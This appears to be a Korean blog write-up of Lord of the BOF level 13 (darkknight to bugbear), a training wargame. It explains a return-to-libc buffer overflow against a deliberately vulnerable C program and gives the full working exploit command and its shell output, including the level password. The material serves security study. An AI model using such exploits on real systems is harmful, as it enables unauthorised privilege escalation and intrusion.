eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • 설명
  • write
  • 암호
  • hacker
  • BOF
  • attack
  • buffer
  • LEVEL
  • hacking
  • 해킹
  • 오버플로우
  • 패스워드
  • web
  • 문제풀이
  • 공격
  • 스쿨
  • Up
  • school
  • webhacking.kr
  • 풀이
  • hakcing
  • pwnable
  • hack
  • LOB
  • password
  • overflow
  • 문제
  • 메모리
  • 과정
  • 해커

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level13: darkknight → bugbear
0x02 Study :)/Pwnable

[LOB] Level13: darkknight → bugbear

2018. 8. 2. 16:02

bugbear

keyword : RTL

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

분기문을 통해 RET 부분에 덮여씌워지는 주소 앞주소'\xbf'를 필터링 한다.

즉, '\xbf'로 시작하는 주소를 리턴 주소로 할 수 없다.

payload 시나리오 :

"A"44+"&system()"+"A"4+"&["/bin/sh"]

[darkknight@localhost darkknight]$ ldd bugbear
	libc.so.6 => /lib/libc.so.6 (0x40018000)
	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
	
[darkknight@localhost darkknight]$ strings -tx /lib/libc.so.6 | grep "/bin/sh"
  e3ff9 /bin/sh
  e6587 /bin/sh
  e6595 /bin/sh
  e796a /bin/sh
  e81c7 /bin/sh
  e8778 /bin/sh

&system : 0x40058ae0

&"/bin/sh" : 0x400fbff9

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@AAAA�@
bash$ my-pass
euid = 513
new divide
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

 

bugbear / new divide


 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level15: gaint → assassin
    • [LOB] Level14: bugbear → giant
    • [LOB] Level12: golem → darkknight
    • [LOB] Level11: skeleton → golem
    eli_ez3r
    eli_ez3r

    티스토리툴바